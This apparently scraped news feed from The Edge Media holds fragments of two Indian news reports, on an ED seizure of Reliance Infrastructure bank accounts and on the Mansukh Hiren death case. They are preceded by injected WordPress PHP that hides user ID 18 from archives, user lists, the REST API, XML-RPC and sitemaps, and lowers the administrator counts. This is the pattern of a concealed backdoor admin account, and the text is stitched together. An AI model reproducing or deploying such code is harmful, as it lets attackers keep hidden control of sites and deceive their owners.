add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post ED Seizes ₹55 Crore Across 13 Reliance Infrastructure Bank Accounts in FEMA Violation Probe appeared first on The Edge Media.
]]>
According to the agency, Reliance Infrastructure Ltd (R-Infra) and its special purpose vehicles (SPVs) allegedly diverted public money allocated for National Highways Authority of India (NHAI) construction projects. The ED claims the funds were moved out of India through unlawful channels.
In its statement, the agency said that 13 bank accounts with a total balance of ₹54.82 crore have been seized for FEMA violations. The ED further alleged that the diverted funds were routed to shell companies in Mumbai through fraudulent sub-contracting arrangements.
R-Infra has not yet issued a comment on the development.
The agency also noted that Anil Ambani had been summoned for questioning in connection with the case last month but did not appear before investigators.
The post ED Seizes ₹55 Crore Across 13 Reliance Infrastructure Bank Accounts in FEMA Violation Probe appeared first on The Edge Media.
]]>The post Mansukh Hiren’s death case: ASI Sachin Waje transferred from Mumbai Crime Branch appeared first on The Edge Media.
]]>On February 25, an explosive substance was found in a vehicle outside ‘Antilia’, a south Mumbai home of industrialist Mukesh Ambani. Hiren’s wife claimed that her husband gave Waje her car in November.
The car was returned by an officer posted at the Mumbai Crime Branch in the first week of February. Sachin Waje was removed from the Crime Intelligence Unit on Wednesday. An official said the CFC unit provides police consent for passports, various licenses and other public related services. Maharashtra ATS probing the case had recorded Waje’s statement earlier this week. Waje was suspended in 2004 in the case of alleged custodial death of Khwaja Younus.
The ATS reported that Waje had denied using Hiren’s Scorpio. At the same time, state Home Minister Anil Deshmukh said on Wednesday that Waje has been removed from the Crime Intelligence Unit until the investigation into the death of automobile parts businessman Mansukh Hiren is completed.
The post Mansukh Hiren’s death case: ASI Sachin Waje transferred from Mumbai Crime Branch appeared first on The Edge Media.
]]>